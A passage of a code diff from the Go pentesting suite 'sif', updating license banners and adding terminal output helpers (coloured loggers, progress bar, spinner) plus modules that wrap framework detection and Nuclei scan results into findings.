║ SIF ║
|
||||
║ ║
|
||||
║ Blazing-fast pentesting suite written in Go ║
|
||||
║ ║
|
||||
║ Copyright (c) 2023-2024 vmfunc, xyzeva, lunchcat contributors ║
|
||||
║ and other sif contributors. ║
|
||||
║ ║
|
||||
║ ║
|
||||
║ Use of this tool is restricted to research and educational ║
|
||||
║ purposes only. Usage in a production environment outside ║
|
||||
║ of these categories is strictly prohibited. ║
|
||||
║ ║
|
||||
║ Any person or entity wishing to use this tool outside of ║
|
||||
║ research or educational purposes must purchase a license ║
|
||||
║ from https://lunchcat.dev ║
|
||||
║ ║
|
||||
║ For more information, visit: https://github.com/lunchcat/sif ║
|
||||
║ ║
|
||||
╚══════════════════════════════════════════════════════════════════════════════╝
|
||||
·━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━·
|
||||
: :
|
||||
: █▀ █ █▀▀ · Blazing-fast pentesting suite :
|
||||
: ▄█ █ █▀ · BSD 3-Clause License :
|
||||
: :
|
||||
: (c) 2022-2025 vmfunc (vmfunc), xyzeva, :
|
||||
: lunchcat alumni & contributors :
|
||||
: :
|
||||
·━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━·
|
||||
*/
|
||||
|
||||
package format
|
||||
|
||||
@@ -1,25 +1,13 @@
|
||||
/*
|
||||
╔══════════════════════════════════════════════════════════════════════════════╗
|
||||
║ ║
|
||||
║ SIF ║
|
||||
║ ║
|
||||
║ Blazing-fast pentesting suite written in Go ║
|
||||
║ ║
|
||||
║ Copyright (c) 2023-2024 vmfunc, xyzeva, lunchcat contributors ║
|
||||
║ and other sif contributors. ║
|
||||
║ ║
|
||||
║ ║
|
||||
║ Use of this tool is restricted to research and educational ║
|
||||
║ purposes only. Usage in a production environment outside ║
|
||||
║ of these categories is strictly prohibited. ║
|
||||
║ ║
|
||||
║ Any person or entity wishing to use this tool outside of ║
|
||||
║ research or educational purposes must purchase a license ║
|
||||
║ from https://lunchcat.dev ║
|
||||
║ ║
|
||||
║ For more information, visit: https://github.com/lunchcat/sif ║
|
||||
║ ║
|
||||
╚══════════════════════════════════════════════════════════════════════════════╝
|
||||
·━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━·
|
||||
: :
|
||||
: █▀ █ █▀▀ · Blazing-fast pentesting suite :
|
||||
: ▄█ █ █▀ · BSD 3-Clause License :
|
||||
: :
|
||||
: (c) 2022-2025 vmfunc (vmfunc), xyzeva, :
|
||||
: lunchcat alumni & contributors :
|
||||
: :
|
||||
·━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━·
|
||||
*/
|
||||
|
||||
package templates
|
||||
|
||||
@@ -0,0 +1,295 @@
|
||||
/*
|
||||
·━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━·
|
||||
: :
|
||||
: █▀ █ █▀▀ · Blazing-fast pentesting suite :
|
||||
: ▄█ █ █▀ · BSD 3-Clause License :
|
||||
: :
|
||||
: (c) 2022-2025 vmfunc (vmfunc), xyzeva, :
|
||||
: lunchcat alumni & contributors :
|
||||
: :
|
||||
·━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━·
|
||||
*/
|
||||
|
||||
package output
|
||||
|
||||
import (
|
||||
"fmt"
|
||||
"os"
|
||||
"strings"
|
||||
|
||||
"github.com/charmbracelet/lipgloss"
|
||||
)
|
||||
|
||||
// Clean, subtle color palette
|
||||
var (
|
||||
ColorGreen = lipgloss.Color("#22c55e") // success green
|
||||
ColorBlue = lipgloss.Color("#3b82f6") // info blue
|
||||
ColorYellow = lipgloss.Color("#eab308") // warning yellow
|
||||
ColorRed = lipgloss.Color("#ef4444") // error red
|
||||
ColorGray = lipgloss.Color("#6b7280") // muted gray
|
||||
ColorWhite = lipgloss.Color("#f3f4f6") // bright text
|
||||
)
|
||||
|
||||
// Prefix styles
|
||||
var (
|
||||
prefixInfo = lipgloss.NewStyle().Foreground(ColorBlue).Bold(true)
|
||||
prefixSuccess = lipgloss.NewStyle().Foreground(ColorGreen).Bold(true)
|
||||
prefixWarning = lipgloss.NewStyle().Foreground(ColorYellow).Bold(true)
|
||||
prefixError = lipgloss.NewStyle().Foreground(ColorRed).Bold(true)
|
||||
)
|
||||
|
||||
// Text styles
|
||||
var (
|
||||
Highlight = lipgloss.NewStyle().Bold(true).Foreground(ColorWhite)
|
||||
Muted = lipgloss.NewStyle().Foreground(ColorGray)
|
||||
Status = lipgloss.NewStyle().Bold(true).Foreground(ColorGreen)
|
||||
)
|
||||
|
||||
// Box style for banners
|
||||
var Box = lipgloss.NewStyle().
|
||||
Bold(true).
|
||||
Foreground(ColorWhite).
|
||||
BorderStyle(lipgloss.RoundedBorder()).
|
||||
BorderForeground(ColorGray).
|
||||
Align(lipgloss.Center).
|
||||
PaddingRight(15).
|
||||
PaddingLeft(15).
|
||||
Width(60)
|
||||
|
||||
// Subheading style
|
||||
var Subheading = lipgloss.NewStyle().
|
||||
Foreground(ColorGray).
|
||||
Align(lipgloss.Center).
|
||||
PaddingRight(15).
|
||||
PaddingLeft(15).
|
||||
Width(60)
|
||||
|
||||
// Severity styles
|
||||
var (
|
||||
SeverityLow = lipgloss.NewStyle().Foreground(ColorGreen)
|
||||
SeverityMedium = lipgloss.NewStyle().Foreground(ColorYellow)
|
||||
SeverityHigh = lipgloss.NewStyle().Foreground(lipgloss.Color("#f97316")) // orange
|
||||
SeverityCritical = lipgloss.NewStyle().Foreground(ColorRed).Bold(true)
|
||||
)
|
||||
|
||||
// Module color palette - visually distinct, nice colors
|
||||
var moduleColors = []lipgloss.Color{
|
||||
lipgloss.Color("#6366f1"), // indigo
|
||||
lipgloss.Color("#8b5cf6"), // violet
|
||||
lipgloss.Color("#ec4899"), // pink
|
||||
lipgloss.Color("#f97316"), // orange
|
||||
lipgloss.Color("#14b8a6"), // teal
|
||||
lipgloss.Color("#06b6d4"), // cyan
|
||||
lipgloss.Color("#84cc16"), // lime
|
||||
lipgloss.Color("#a855f7"), // purple
|
||||
lipgloss.Color("#f43f5e"), // rose
|
||||
lipgloss.Color("#0ea5e9"), // sky
|
||||
}
|
||||
|
||||
// getModuleColor returns a consistent color for a module name
|
||||
func getModuleColor(name string) lipgloss.Color {
|
||||
// Simple hash to pick a color
|
||||
hash := 0
|
||||
for _, c := range name {
|
||||
hash = hash*31 + int(c)
|
||||
}
|
||||
if hash < 0 {
|
||||
hash = -hash
|
||||
}
|
||||
return moduleColors[hash%len(moduleColors)]
|
||||
}
|
||||
|
||||
// moduleStyleFor returns a styled prefix for a module
|
||||
func moduleStyleFor(name string) lipgloss.Style {
|
||||
return lipgloss.NewStyle().
|
||||
Background(getModuleColor(name)).
|
||||
Foreground(lipgloss.Color("#ffffff")).
|
||||
Bold(true).
|
||||
Padding(0, 1)
|
||||
}
|
||||
|
||||
// IsTTY returns true if stdout is a terminal
|
||||
var IsTTY = checkTTY()
|
||||
|
||||
func checkTTY() bool {
|
||||
if fileInfo, _ := os.Stdout.Stat(); (fileInfo.Mode() & os.ModeCharDevice) != 0 {
|
||||
return true
|
||||
}
|
||||
return false
|
||||
}
|
||||
|
||||
// apiMode disables visual output when true
|
||||
var apiMode bool
|
||||
|
||||
// SetAPIMode enables or disables API mode
|
||||
func SetAPIMode(enabled bool) {
|
||||
apiMode = enabled
|
||||
}
|
||||
|
||||
// Info prints an informational message with [*] prefix
|
||||
func Info(format string, args ...interface{}) {
|
||||
if apiMode {
|
||||
return
|
||||
}
|
||||
msg := fmt.Sprintf(format, args...)
|
||||
fmt.Printf("%s %s\n", prefixInfo.Render("[*]"), msg)
|
||||
}
|
||||
|
||||
// Success prints a success message with [+] prefix
|
||||
func Success(format string, args ...interface{}) {
|
||||
if apiMode {
|
||||
return
|
||||
}
|
||||
msg := fmt.Sprintf(format, args...)
|
||||
fmt.Printf("%s %s\n", prefixSuccess.Render("[+]"), msg)
|
||||
}
|
||||
|
||||
// Warn prints a warning message with [!] prefix
|
||||
func Warn(format string, args ...interface{}) {
|
||||
if apiMode {
|
||||
return
|
||||
}
|
||||
msg := fmt.Sprintf(format, args...)
|
||||
fmt.Printf("%s %s\n", prefixWarning.Render("[!]"), msg)
|
||||
}
|
||||
|
||||
// Error prints an error message with [-] prefix
|
||||
func Error(format string, args ...interface{}) {
|
||||
if apiMode {
|
||||
return
|
||||
}
|
||||
msg := fmt.Sprintf(format, args...)
|
||||
fmt.Printf("%s %s\n", prefixError.Render("[-]"), msg)
|
||||
}
|
||||
|
||||
// ScanStart prints a styled scan start message
|
||||
func ScanStart(scanName string) {
|
||||
if apiMode {
|
||||
return
|
||||
}
|
||||
fmt.Printf("%s starting %s\n", prefixInfo.Render("[*]"), scanName)
|
||||
}
|
||||
|
||||
// ScanComplete prints a styled scan completion message
|
||||
func ScanComplete(scanName string, resultCount int, resultType string) {
|
||||
if apiMode {
|
||||
return
|
||||
}
|
||||
fmt.Printf("%s %s complete (%d %s)\n", prefixInfo.Render("[*]"), scanName, resultCount, resultType)
|
||||
}
|
||||
|
||||
// Module creates a prefixed logger for a specific module/tool
|
||||
func Module(name string) *ModuleLogger {
|
||||
return &ModuleLogger{
|
||||
name: name,
|
||||
style: moduleStyleFor(name),
|
||||
}
|
||||
}
|
||||
|
||||
// ModuleLogger provides prefixed logging for a specific module
|
||||
type ModuleLogger struct {
|
||||
name string
|
||||
style lipgloss.Style
|
||||
}
|
||||
|
||||
func (m *ModuleLogger) prefix() string {
|
||||
return m.style.Render(m.name)
|
||||
}
|
||||
|
||||
// Info prints an info message with module prefix
|
||||
func (m *ModuleLogger) Info(format string, args ...interface{}) {
|
||||
if apiMode {
|
||||
return
|
||||
}
|
||||
msg := fmt.Sprintf(format, args...)
|
||||
fmt.Printf("%s %s\n", m.prefix(), msg)
|
||||
}
|
||||
|
||||
// Success prints a success message with module prefix
|
||||
func (m *ModuleLogger) Success(format string, args ...interface{}) {
|
||||
if apiMode {
|
||||
return
|
||||
}
|
||||
msg := fmt.Sprintf(format, args...)
|
||||
fmt.Printf("%s %s %s\n", m.prefix(), prefixSuccess.Render("✓"), msg)
|
||||
}
|
||||
|
||||
// Warn prints a warning message with module prefix
|
||||
func (m *ModuleLogger) Warn(format string, args ...interface{}) {
|
||||
if apiMode {
|
||||
return
|
||||
}
|
||||
msg := fmt.Sprintf(format, args...)
|
||||
fmt.Printf("%s %s %s\n", m.prefix(), prefixWarning.Render("!"), msg)
|
||||
}
|
||||
|
||||
// Error prints an error message with module prefix
|
||||
func (m *ModuleLogger) Error(format string, args ...interface{}) {
|
||||
if apiMode {
|
||||
return
|
||||
}
|
||||
msg := fmt.Sprintf(format, args...)
|
||||
fmt.Printf("%s %s %s\n", m.prefix(), prefixError.Render("✗"), msg)
|
||||
}
|
||||
|
||||
// Start prints a scan start message with module prefix (adds newline before for separation)
|
||||
func (m *ModuleLogger) Start() {
|
||||
if apiMode {
|
||||
return
|
||||
}
|
||||
fmt.Printf("\n%s starting scan\n", m.prefix())
|
||||
}
|
||||
|
||||
// Complete prints a scan complete message with module prefix
|
||||
func (m *ModuleLogger) Complete(resultCount int, resultType string) {
|
||||
if apiMode {
|
||||
return
|
||||
}
|
||||
fmt.Printf("%s complete (%d %s)\n", m.prefix(), resultCount, resultType)
|
||||
}
|
||||
|
||||
// ClearLine clears the current line (for progress bar updates)
|
||||
func ClearLine() {
|
||||
if !IsTTY {
|
||||
return
|
||||
}
|
||||
fmt.Print("\033[2K\r")
|
||||
}
|
||||
|
||||
// Summary styles
|
||||
var (
|
||||
summaryHeader = lipgloss.NewStyle().
|
||||
Bold(true).
|
||||
Foreground(ColorWhite).
|
||||
Background(lipgloss.Color("#22c55e")).
|
||||
Padding(0, 2)
|
||||
|
||||
summaryLine = lipgloss.NewStyle().
|
||||
Foreground(ColorGray)
|
||||
)
|
||||
|
||||
// PrintSummary prints a clean scan completion summary
|
||||
func PrintSummary(scans []string, logFiles []string) {
|
||||
if apiMode {
|
||||
return
|
||||
}
|
||||
|
||||
fmt.Println()
|
||||
fmt.Println(summaryLine.Render("────────────────────────────────────────────────────────────"))
|
||||
fmt.Println()
|
||||
fmt.Printf(" %s\n", summaryHeader.Render("SCAN COMPLETE"))
|
||||
fmt.Println()
|
||||
|
||||
// Print scans
|
||||
scanList := strings.Join(scans, ", ")
|
||||
fmt.Printf(" %s %s\n", Muted.Render("Scans:"), scanList)
|
||||
|
||||
// Print log files if any
|
||||
if len(logFiles) > 0 {
|
||||
fmt.Printf(" %s %s\n", Muted.Render("Output:"), strings.Join(logFiles, ", "))
|
||||
}
|
||||
|
||||
fmt.Println()
|
||||
fmt.Println(summaryLine.Render("────────────────────────────────────────────────────────────"))
|
||||
fmt.Println()
|
||||
}
|
||||
@@ -0,0 +1,167 @@
|
||||
/*
|
||||
·━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━·
|
||||
: :
|
||||
: █▀ █ █▀▀ · Blazing-fast pentesting suite :
|
||||
: ▄█ █ █▀ · BSD 3-Clause License :
|
||||
: :
|
||||
: (c) 2022-2025 vmfunc (vmfunc), xyzeva, :
|
||||
: lunchcat alumni & contributors :
|
||||
: :
|
||||
·━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━·
|
||||
*/
|
||||
|
||||
package output
|
||||
|
||||
import (
|
||||
"fmt"
|
||||
"sync"
|
||||
"sync/atomic"
|
||||
)
|
||||
|
||||
// Progress bar configuration
|
||||
const (
|
||||
progressWidth = 30
|
||||
progressFilled = "="
|
||||
progressCurrent = ">"
|
||||
progressEmpty = " "
|
||||
)
|
||||
|
||||
// Progress displays a progress bar for operations with known counts
|
||||
type Progress struct {
|
||||
total int64
|
||||
current int64
|
||||
message string
|
||||
lastItem string
|
||||
mu sync.Mutex
|
||||
paused bool
|
||||
}
|
||||
|
||||
// NewProgress creates a new progress bar
|
||||
func NewProgress(total int, message string) *Progress {
|
||||
return &Progress{
|
||||
total: int64(total),
|
||||
message: message,
|
||||
}
|
||||
}
|
||||
|
||||
// Increment advances the progress by 1 and optionally updates the current item
|
||||
func (p *Progress) Increment(item string) {
|
||||
atomic.AddInt64(&p.current, 1)
|
||||
|
||||
p.mu.Lock()
|
||||
p.lastItem = item
|
||||
paused := p.paused
|
||||
p.mu.Unlock()
|
||||
|
||||
if !paused {
|
||||
p.render()
|
||||
}
|
||||
}
|
||||
|
||||
// Set sets the progress to a specific value
|
||||
func (p *Progress) Set(current int, item string) {
|
||||
atomic.StoreInt64(&p.current, int64(current))
|
||||
|
||||
p.mu.Lock()
|
||||
p.lastItem = item
|
||||
paused := p.paused
|
||||
p.mu.Unlock()
|
||||
|
||||
if !paused {
|
||||
p.render()
|
||||
}
|
||||
}
|
||||
|
||||
// Pause temporarily stops rendering (use before printing other output)
|
||||
func (p *Progress) Pause() {
|
||||
p.mu.Lock()
|
||||
p.paused = true
|
||||
p.mu.Unlock()
|
||||
ClearLine()
|
||||
}
|
||||
|
||||
// Resume resumes rendering after a pause
|
||||
func (p *Progress) Resume() {
|
||||
p.mu.Lock()
|
||||
p.paused = false
|
||||
p.mu.Unlock()
|
||||
p.render()
|
||||
}
|
||||
|
||||
// Done clears the progress bar line
|
||||
func (p *Progress) Done() {
|
||||
if apiMode || !IsTTY {
|
||||
return
|
||||
}
|
||||
ClearLine()
|
||||
}
|
||||
|
||||
func (p *Progress) render() {
|
||||
if apiMode {
|
||||
return
|
||||
}
|
||||
|
||||
// In non-TTY mode, print progress at milestones only
|
||||
if !IsTTY {
|
||||
current := atomic.LoadInt64(&p.current)
|
||||
total := p.total
|
||||
percent := int(current * 100 / total)
|
||||
|
||||
// Print at 0%, 25%, 50%, 75%, 100%
|
||||
if current == 1 || percent == 25 || percent == 50 || percent == 75 || current == total {
|
||||
fmt.Printf(" [%d%%] %d/%d\n", percent, current, total)
|
||||
}
|
||||
return
|
||||
}
|
||||
|
||||
current := atomic.LoadInt64(&p.current)
|
||||
total := p.total
|
||||
|
||||
p.mu.Lock()
|
||||
lastItem := p.lastItem
|
||||
p.mu.Unlock()
|
||||
|
||||
// Calculate percentage
|
||||
percent := 0
|
||||
if total > 0 {
|
||||
percent = int(current * 100 / total)
|
||||
}
|
||||
|
||||
// Build progress bar
|
||||
filled := 0
|
||||
if total > 0 {
|
||||
filled = int(progressWidth * current / total)
|
||||
}
|
||||
if filled > progressWidth {
|
||||
filled = progressWidth
|
||||
}
|
||||
|
||||
bar := ""
|
||||
for i := 0; i < progressWidth; i++ {
|
||||
if i < filled {
|
||||
bar += progressFilled
|
||||
} else if i == filled && current < total {
|
||||
bar += progressCurrent
|
||||
} else {
|
||||
bar += progressEmpty
|
||||
}
|
||||
}
|
||||
|
||||
// Truncate item if too long
|
||||
maxItemLen := 30
|
||||
if len(lastItem) > maxItemLen {
|
||||
lastItem = lastItem[:maxItemLen-3] + "..."
|
||||
}
|
||||
|
||||
// Format: [========> ] 45% (4500/10000) /admin
|
||||
line := fmt.Sprintf(" [%s] %3d%% (%d/%d) %s",
|
||||
prefixInfo.Render(bar),
|
||||
percent,
|
||||
current,
|
||||
total,
|
||||
Muted.Render(lastItem),
|
||||
)
|
||||
|
||||
ClearLine()
|
||||
fmt.Print(line)
|
||||
}
|
||||
@@ -0,0 +1,121 @@
|
||||
/*
|
||||
·━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━·
|
||||
: :
|
||||
: █▀ █ █▀▀ · Blazing-fast pentesting suite :
|
||||
: ▄█ █ █▀ · BSD 3-Clause License :
|
||||
: :
|
||||
: (c) 2022-2025 vmfunc (vmfunc), xyzeva, :
|
||||
: lunchcat alumni & contributors :
|
||||
: :
|
||||
·━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━·
|
||||
*/
|
||||
|
||||
package output
|
||||
|
||||
import (
|
||||
"fmt"
|
||||
"os"
|
||||
"sync"
|
||||
"time"
|
||||
)
|
||||
|
||||
// Spinner frames using simple ASCII
|
||||
var spinnerFrames = []string{"|", "/", "-", "\\"}
|
||||
|
||||
// Spinner displays an animated spinner for indeterminate operations
|
||||
type Spinner struct {
|
||||
message string
|
||||
running bool
|
||||
done chan struct{}
|
||||
mu sync.Mutex
|
||||
interval time.Duration
|
||||
}
|
||||
|
||||
// NewSpinner creates a new spinner with the given message
|
||||
func NewSpinner(message string) *Spinner {
|
||||
return &Spinner{
|
||||
message: message,
|
||||
interval: 100 * time.Millisecond,
|
||||
done: make(chan struct{}),
|
||||
}
|
||||
}
|
||||
|
||||
// Start begins the spinner animation
|
||||
func (s *Spinner) Start() {
|
||||
if apiMode {
|
||||
return
|
||||
}
|
||||
|
||||
s.mu.Lock()
|
||||
if s.running {
|
||||
s.mu.Unlock()
|
||||
return
|
||||
}
|
||||
s.running = true
|
||||
s.done = make(chan struct{})
|
||||
s.mu.Unlock()
|
||||
|
||||
// In non-TTY mode, just print the message once
|
||||
if !IsTTY {
|
||||
fmt.Printf(" %s...\n", s.message)
|
||||
return
|
||||
}
|
||||
|
||||
go s.animate()
|
||||
}
|
||||
|
||||
// Stop halts the spinner and clears the line
|
||||
func (s *Spinner) Stop() {
|
||||
if apiMode {
|
||||
return
|
||||
}
|
||||
|
||||
s.mu.Lock()
|
||||
if !s.running {
|
||||
s.mu.Unlock()
|
||||
return
|
||||
}
|
||||
s.running = false
|
||||
close(s.done)
|
||||
s.mu.Unlock()
|
||||
|
||||
// Give animation goroutine time to exit
|
||||
time.Sleep(s.interval)
|
||||
|
||||
// Clear the spinner line
|
||||
if IsTTY {
|
||||
ClearLine()
|
||||
}
|
||||
}
|
||||
|
||||
// Update changes the spinner message while running
|
||||
func (s *Spinner) Update(message string) {
|
||||
s.mu.Lock()
|
||||
s.message = message
|
||||
s.mu.Unlock()
|
||||
}
|
||||
|
||||
func (s *Spinner) animate() {
|
||||
frame := 0
|
||||
ticker := time.NewTicker(s.interval)
|
||||
defer ticker.Stop()
|
||||
|
||||
for {
|
||||
select {
|
||||
case <-s.done:
|
||||
return
|
||||
case <-ticker.C:
|
||||
s.mu.Lock()
|
||||
msg := s.message
|
||||
s.mu.Unlock()
|
||||
|
||||
spinnerChar := prefixInfo.Render(spinnerFrames[frame])
|
||||
line := fmt.Sprintf("\r %s %s", spinnerChar, msg)
|
||||
|
||||
fmt.Fprint(os.Stdout, "\033[2K") // Clear line
|
||||
fmt.Fprint(os.Stdout, line)
|
||||
|
||||
frame = (frame + 1) % len(spinnerFrames)
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,94 @@
|
||||
/*
|
||||
·━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━·
|
||||
: :
|
||||
: █▀ █ █▀▀ · Blazing-fast pentesting suite :
|
||||
: ▄█ █ █▀ · BSD 3-Clause License :
|
||||
: :
|
||||
: (c) 2022-2025 vmfunc (vmfunc), xyzeva, :
|
||||
: lunchcat alumni & contributors :
|
||||
: :
|
||||
·━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━·
|
||||
*/
|
||||
|
||||
package builtin
|
||||
|
||||
import (
|
||||
"context"
|
||||
"fmt"
|
||||
"github.com/dropalldatabases/sif/internal/modules"
|
||||
"github.com/dropalldatabases/sif/internal/scan/frameworks"
|
||||
"strings"
|
||||
)
|
||||
|
||||
type FrameworksModule struct{}
|
||||
|
||||
func (m *FrameworksModule) Info() modules.Info {
|
||||
return modules.Info{
|
||||
ID: "framework-detection",
|
||||
Name: "Web Framework Detection",
|
||||
Author: "sif",
|
||||
Severity: "info",
|
||||
Description: "Detects web frameworks with version and CVE mapping",
|
||||
Tags: []string{"recon", "framework", "cve"},
|
||||
}
|
||||
}
|
||||
|
||||
func (m *FrameworksModule) Type() modules.ModuleType {
|
||||
return modules.TypeHTTP
|
||||
}
|
||||
|
||||
func (m *FrameworksModule) Execute(ctx context.Context, target string, opts modules.Options) (*modules.Result, error) {
|
||||
// Call existing legacy frameworks.DetectFramework function
|
||||
frameworkResult, err := frameworks.DetectFramework(target, opts.Timeout, opts.LogDir)
|
||||
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
|
||||
result := &modules.Result{
|
||||
ModuleID: m.Info().ID,
|
||||
Target: target,
|
||||
Findings: []modules.Finding{},
|
||||
}
|
||||
|
||||
// Return empty if no framework detected
|
||||
if frameworkResult == nil {
|
||||
return result, nil
|
||||
}
|
||||
|
||||
// Construct finding
|
||||
evidence := fmt.Sprintf("Detected %s framework (version: %s, confidence: %.2f)",
|
||||
frameworkResult.Name, frameworkResult.Version, frameworkResult.Confidence)
|
||||
|
||||
severity := "info"
|
||||
if frameworkResult.RiskLevel != "" && frameworkResult.RiskLevel != "low" {
|
||||
severity = frameworkResult.RiskLevel
|
||||
}
|
||||
|
||||
finding := modules.Finding{
|
||||
URL: target,
|
||||
Severity: severity,
|
||||
Evidence: evidence,
|
||||
Extracted: map[string]string{
|
||||
"framework": frameworkResult.Name,
|
||||
"version": frameworkResult.Version,
|
||||
"confidence": fmt.Sprintf("%.2f", frameworkResult.Confidence),
|
||||
"version_confidence": fmt.Sprintf("%.2f", frameworkResult.VersionConfidence),
|
||||
},
|
||||
}
|
||||
|
||||
// Add CVE information
|
||||
if len(frameworkResult.CVEs) > 0 {
|
||||
finding.Extracted["cves"] = strings.Join(frameworkResult.CVEs, ", ")
|
||||
finding.Extracted["risk_level"] = frameworkResult.RiskLevel
|
||||
}
|
||||
|
||||
// Add recommendations
|
||||
if len(frameworkResult.Suggestions) > 0 {
|
||||
finding.Extracted["recommendations"] = strings.Join(frameworkResult.Suggestions, "; ")
|
||||
}
|
||||
|
||||
result.Findings = append(result.Findings, finding)
|
||||
|
||||
return result, nil
|
||||
}
|
||||
@@ -0,0 +1,141 @@
|
||||
/*
|
||||
·━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━·
|
||||
: :
|
||||
: █▀ █ █▀▀ · Blazing-fast pentesting suite :
|
||||
: ▄█ █ █▀ · BSD 3-Clause License :
|
||||
: :
|
||||
: (c) 2022-2025 vmfunc (vmfunc), xyzeva, :
|
||||
: lunchcat alumni & contributors :
|
||||
: :
|
||||
·━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━·
|
||||
*/
|
||||
|
||||
package builtin
|
||||
|
||||
import (
|
||||
"context"
|
||||
"fmt"
|
||||
"github.com/dropalldatabases/sif/internal/modules"
|
||||
"github.com/dropalldatabases/sif/internal/scan"
|
||||
)
|
||||
|
||||
type NucleiModule struct{}
|
||||
|
||||
func (m *NucleiModule) Info() modules.Info {
|
||||
return modules.Info{
|
||||
ID: "nuclei-scan",
|
||||
Name: "Nuclei Vulnerability Scanner",
|
||||
Author: "sif",
|
||||
Severity: "high",
|
||||
Description: "Runs Nuclei vulnerability scanning templates against target",
|
||||
Tags: []string{"vuln", "nuclei", "cve"},
|
||||
}
|
||||
}
|
||||
|
||||
func (m *NucleiModule) Type() modules.ModuleType {
|
||||
return modules.TypeScript
|
||||
}
|
||||
|
||||
func (m *NucleiModule) Execute(ctx context.Context, target string, opts modules.Options) (*modules.Result, error) {
|
||||
// Call existing legacy scan.Nuclei function
|
||||
nucleiResults, err := scan.Nuclei(target, opts.Timeout, opts.Threads, opts.LogDir)
|
||||
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
|
||||
result := &modules.Result{
|
||||
ModuleID: m.Info().ID,
|
||||
Target: target,
|
||||
Findings: make([]modules.Finding, 0, len(nucleiResults)),
|
||||
}
|
||||
|
||||
// Process nuclei results into module findings
|
||||
for _, event := range nucleiResults {
|
||||
severity := "info"
|
||||
|
||||
switch event.Info.SeverityHolder.Severity.String() {
|
||||
case "critical":
|
||||
severity = "critical"
|
||||
case "high":
|
||||
severity = "high"
|
||||
case "medium":
|
||||
severity = "medium"
|
||||
case "low":
|
||||
severity = "low"
|
||||
}
|
||||
|
||||
evidence := fmt.Sprintf("[%s] %s", event.TemplateID, event.Info.Name)
|
||||
if event.Matched != "" {
|
||||
evidence = fmt.Sprintf("[%s] %s - matched: %s", event.TemplateID, event.Info.Name, event.Matched)
|
||||
}
|
||||
|
||||
finding := modules.Finding{
|
||||
URL: event.Host,
|
||||
Severity: severity,
|
||||
Evidence: evidence,
|
||||
Extracted: map[string]string{
|
||||
"template_id": event.TemplateID,
|
||||
"template_name": event.Info.Name,
|
||||
"severity": event.Info.SeverityHolder.Severity.String(),
|
||||
},
|
||||
}
|
||||
|
||||
// Template info
|
||||
if event.Type != "" {
|
||||
finding.Extracted["type"] = event.Type
|
||||
}
|
||||
|
||||
// Matcher name
|
||||
if event.MatcherName != "" {
|
||||
finding.Extracted["matcher_name"] = event.MatcherName
|
||||
}
|
||||
|
||||
// Extractor name
|
||||
if event.ExtractorName != "" {
|
||||
finding.Extracted["extractor_name"] = event.ExtractorName
|
||||
}
|
||||
|
||||
// Matched line/data
|
||||
if event.Matched != "" {
|
||||
finding.Extracted["matched"] = event.Matched
|
||||
}
|
||||
|
||||
// Metadata
|
||||
if len(event.Info.Metadata) > 0 {
|
||||
for key, value := range event.Info.Metadata {
|
||||
finding.Extracted[fmt.Sprintf("metadata_%s", key)] = fmt.Sprintf("%v", value)
|
||||
}
|
||||
}
|
||||
|
||||
// Tags
|
||||
if !event.Info.Tags.IsEmpty() {
|
||||
tagStr := ""
|
||||
for _, tag := range event.Info.Tags.ToSlice() {
|
||||
if tagStr != "" {
|
||||
tagStr += ", "
|
||||
}
|
||||
tagStr += tag
|
||||
}
|
||||
|
||||
finding.Extracted["tags"] = tagStr
|
||||
}
|
||||
|
||||
// Reference
|
||||
if event.Info.Reference != nil && !event.Info.Reference.IsEmpty() {
|
||||
refStr := ""
|
||||
for _, ref := range event.Info.Reference.ToSlice() {
|
||||
if refStr != "" {
|
||||
refStr += "; "
|
||||
}
|
||||
refStr += ref
|
||||
}
|
||||
|
||||
finding.Extracted["references"] = refStr
|
||||
}
|
||||
|
||||
result.Findings = append(result.Findings, finding)
|
||||
}
|
||||
|
||||
return result, nil
|
||||
}
|
||||
@@ -0,0 +1,23 @@
|
||||
/*
|
||||
·━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━·
|
||||
: :
|
||||
: █▀ █ █▀▀ · Blazing-fast pentesting suite :
|
||||
: ▄█ █ █▀ · BSD 3-Clause License :
|
||||
: :
|
||||
: (c) 2022-2025 vmfunc (vmfunc), xyzeva, :
|
||||
: lunchcat alumni & contributors :
|
||||
: :
|
||||
